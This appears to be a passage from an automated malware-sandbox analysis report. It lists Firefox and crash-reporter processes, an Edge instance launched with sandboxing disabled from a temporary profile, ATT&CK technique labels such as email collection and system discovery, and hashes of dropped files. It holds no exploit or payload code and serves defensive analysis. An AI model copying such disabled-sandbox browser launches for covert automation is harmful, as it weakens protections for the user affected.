    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3780 -prefsLen 27276 -prefMapHandle 3784 -prefMapSize 270279 -jsInitHandle 3788 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3796 -initialChannelId {dc4217df-5140-4ab4-81eb-ee491a7251ec} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        5⤵
        Checks processor information in registry
        
        PID:4868
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\f0455efe-def5-4d29-ae84-e7c995ca408d.dmp"
        5⤵
        
        PID:1836
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3384 -prefsLen 27276 -prefMapHandle 3768 -prefMapSize 270279 -ipcHandle 3820 -initialChannelId {a7d6e205-f418-4679-9107-6a25f0baf761} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        5⤵
        
        PID:5080
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\83ec4dd2-d68c-4f05-8bb1-e80af16bf172.dmp"
        5⤵
        
        PID:3824
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4156 -prefsLen 27276 -prefMapHandle 4160 -prefMapSize 270279 -ipcHandle 4112 -initialChannelId {13076b53-4ee7-437e-93fb-11fd2a14dd6e} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        5⤵
        
        PID:636
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4512 -prefsLen 34775 -prefMapHandle 4516 -prefMapSize 270279 -jsInitHandle 4520 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4532 -initialChannelId {b2f765d6-d9c1-4e71-9b8d-3f8082ff85f4} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        5⤵
        Checks processor information in registry
        
        PID:1820
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 1208 -prefsLen 35012 -prefMapHandle 3564 -prefMapSize 270279 -ipcHandle 4912 -initialChannelId {f8e10ad9-2f0d-4e6a-8941-adf6e7c77fdd} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        5⤵
        Checks processor information in registry
        
        PID:1064
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5112 -prefsLen 32900 -prefMapHandle 5116 -prefMapSize 270279 -jsInitHandle 3564 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1208 -initialChannelId {082ade39-35a4-4af4-93b0-20288d87b6cf} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        5⤵
        Checks processor information in registry
        
        PID:5004
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5368 -prefsLen 32900 -prefMapHandle 5372 -prefMapSize 270279 -jsInitHandle 5376 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5380 -initialChannelId {4fff0f99-42d6-4231-b193-477d7b848ada} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        5⤵
        Checks processor information in registry
        
        PID:672
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5592 -prefsLen 32900 -prefMapHandle 5596 -prefMapSize 270279 -jsInitHandle 5600 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5608 -initialChannelId {e5159708-6b5f-4cfb-acfa-68869e6cc8d9} -parentPid 2160 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2160" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        5⤵
        Checks processor information in registry
        
        PID:4340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:2564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x244,0x7ffc60a1c188,0x7ffc60a1c194,0x7ffc60a1c1a0
      4⤵
      PID:5144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1648,i,17458286926671464714,16546542825160737344,262144 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=2388 /prefetch:2
      4⤵
      PID:5404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,878920229053013502,17355851127546408753,524288 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:3
      4⤵
      System Time Discovery
      PID:5412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2528,i,5757939353937535473,1804179187247559250,524288 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=2676 /prefetch:8
      4⤵
      PID:5460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3348,i,3466021351333161340,2344705412578046983,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=3384 /prefetch:1
      4⤵
      PID:5512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3352,i,8324437741993044706,8691471612941490626,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:1
      4⤵
      PID:3312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3560,i,7784536129651858682,8279405823116206990,524288 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:8
      4⤵
      PID:5792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3568,i,3643301961945996692,1101957594222884004,524288 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=3348 /prefetch:8
      4⤵
      PID:5800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3572,i,7686092450380728161,16377110130269099632,524288 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:8
      4⤵
      PID:5812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3668,i,2163613936395075786,507010458195797358,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=3980 /prefetch:1
      4⤵
      PID:5820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3664,i,13564081284480834614,3945874840842299667,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:2
      4⤵
      PID:5884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3680,i,16833683807064622070,17040061981789141046,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:1
      4⤵
      PID:5876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3704,i,1142424200169951041,14946717181068627387,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:2
      4⤵
      PID:5864
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3716,i,15502688656791500011,10164086046435830599,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:1
      4⤵
      PID:5856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3728,i,11168670608200778037,13285153080191250092,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=4424 /prefetch:2
      4⤵
      PID:5848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3756,i,797953953963522698,13071116716928314920,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:1
      4⤵
      PID:5836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3768,i,11097032961793834505,2947368232301448365,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:2
      4⤵
      PID:5824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3836,i,5554378304989267156,17684300368536937044,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:1
      4⤵
      PID:5896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3848,i,16169103660903194749,3901266971293000552,2097152 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:2
      4⤵
      PID:5904
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3916,i,15535533181536523397,17659804513899487677,524288 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:8
      4⤵
      PID:2284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5268,i,4694989770595605392,16435088765977930396,524288 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:8
      4⤵
      PID:5308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5496,i,7783455896245037420,8192240282168104807,524288 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:8
      4⤵
      PID:1692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5500,i,17778108305016797058,5647919993504574821,524288 --field-trial-handle=2396,i,15503539555919895604,4769721027510002845,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:8
      4⤵
      PID:2512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Crashpad\settings.dat
Size 280B
SHA256 c0b506a91d25e11babcdf7405dac5c44615577cfa3c1e3da24f45261e8b08973
MD5 f74426ddb30135e9e961d4e41eb40cd4
SHA1 a6efaf582cc4ba2b87779d8933232d030ac917a2
SHA512 889ca8feea0888ddefbf07e37bd87bfc85d89bdb3b1d90291b76aadc628da478e4e27eb8deb4acd636ca327a580ad24c45c1ae7c4409fcbfe5b7e9dec24b1983
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Crashpad\settings.dat
Size 280B
SHA256 30449458f352c85358ec1681d432e3ebe6d9349b6d29bb4bf54e3670edd8d587
MD5 21d5dbf7faba45c47262d12d4398837e
SHA1 fae07f77566b20b8aff356802be6615ed6239df9
SHA512 9ee1bec4395233f2a3d704c59fc97b89ba10678096be4426be71dc2b802c95d47db655574bbf4023c663dab28d1f5bc58751b12bf4e338b7739197cd4805f458
TLSH
T1DDD02220BB008338F3000ABF28B0E3002220CA02C2023AF03883C03F0E0E2220F0CC00
MD5 SHA1 SHA512 TLSH

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Default\Code Cache\js\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 279B
SHA256 e58f1ff16fb120a2195abbbb31d43ae5795efa4c934f7bfa12b0a2470ed6ca27
MD5 f3e2cd5f0b0020f32dcc33623577c73f
SHA1 31a6f65fcda8d65080c4f70a000e340f9681557b
SHA512 5e7a8f7de86141a7e12d40f0362b32cae117e2dd628aae7bcec825ca7518e8a6c9dda4b043a1252948121b3686645b8a1a24fa6f2986e0b0962c034a8c7582ff
TLSH
T198D02BB74CA604909C7F46D7147520D11417FCA4CE15FC4E062DF38710B22137417C52
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 375B
SHA256 d50fc9c28a5b2e6dea56397b0b8148b8860206c309c1b0fab5995c5fdc4a68d7
MD5 47595861e09b0aefff4dbda0bd9fab0e
SHA1 de81ceac662d5de0fdbe142a46a86ccdff3589f2
SHA512 b25a050bff4bc1021e82fd24f3991bca0a90e338a10bc5f36356a49adb481d1c595506498345da85d7f1dd03934c8632131bcbe68bffbbac476e1d2a65fd20e4
TLSH
T139E068736DE31450F87B82D6247520910856FC54C904BC4F512AB3C700B3212706BC22
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe59196a.TMP

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RFe59196a.TMP
Size 153B
SHA256 0915d20096b765e29933d0d260256a7a84d6b0e6efef6b5d26234afc79a31a6d
MD5 b7a383f59757a222ef81152625870c96
SHA1 b36b482efc7ca1064c2170ce728eab5a075ee2af
SHA512 88cc6fbcc48a2d514bf5f1085de81191548144b636075b77d755fbe91d1e53f4511f65240c50f5be9df9e7ab9edea1e3d84c2a85eaac91646d845083768ef590
TLSH
T129C08CB70D9605808D6602CB427128E18113ACC48958BC8A402EB2C320B1123701AC20
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Local State
Size 4KB
SHA256 e8a1b4b03db13fa51054d004da54976b0725b5408b8302f50fe1b4f2dac910b9
MD5 65008a92514222b95585214847df17d6
SHA1 35055c274e50f39ad3312677d82ae744fa9bc916
SHA512 9a4071b20a685b064c30405b07fd5d1f4385c79548d4098c8d267929b4db458ee076b5e2dd3e17ee3ae91e486b6daf7e3a8168cf0547c8a6d8a52bb4284f9d75
SSDEEP 96:tqGNkCsFfrCst1g+JDgyBcPmvwVwy2G0eUnFc6txq4a:EGNFuD3gagSmpwytqFcT
TLSH
T18F81A3726460FE331BE66A84B59A2AD38E783173DC41AF64E6D8171C04DB30D3B4A827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Local State
Size 5KB
SHA256 4dd4530c21b8e8b6a6068c59a35e01a90eb1455a5ced594a3b596c788c2baab6
MD5 391b1604b50603982a913f0c129f04fd
SHA1 f4d3e0d6d3fd6a8a09947186a326cab3734ba27f
SHA512 dbbab7bf6b7e64ffa59f1ea08e3796a20d2538c3f3f0aa64867c8d59957145193a727c03fa6869d041544f22b3ac2cdfd9ccd00a34bd5ef905f5f63b0aded375
SSDEEP 96:tqGNkpQsFfrCst58Frh/cInURoDotovgF/Dg5BcPmvwVwy2G0eUnFc6txq4a:EGNNuDMooDUwgdgfmpwytqFcT
TLSH
T194B196726474FD371FE6AA44B4C627936EB42133E881BFA8E6E81B1C04D7348274AC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State~RFe5904f8.TMP

Path C:\Users\Admin\AppData\Local\Temp\5fyzjt0o.yel\Local State~RFe5904f8.TMP
Size 1KB
SHA256 820ca9aafef1dfa153b08e2b316502c1d2d95b8a9f7a8016d0e0db07c99b665d
MD5 1e8c43ce0cdcc79c0534eb069b2d1458
SHA1 e6ba7bf8c9664404813a090433379cc1a353fb7b
SHA512 4d431a5141f7a8ab565210c2788d2338fd319ca472e16b7db25291e2fcaa8bd762045f60be10e265f966f07c7dd3c5880abd0ce519f4589d8818781edac623d3
TLSH
T149319472A9A03E73BAA117C572893E931E341131C1925E94A5EC1E1D01E778C224AC3B
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_akobjk0n.kt2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_akobjk0n.kt2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
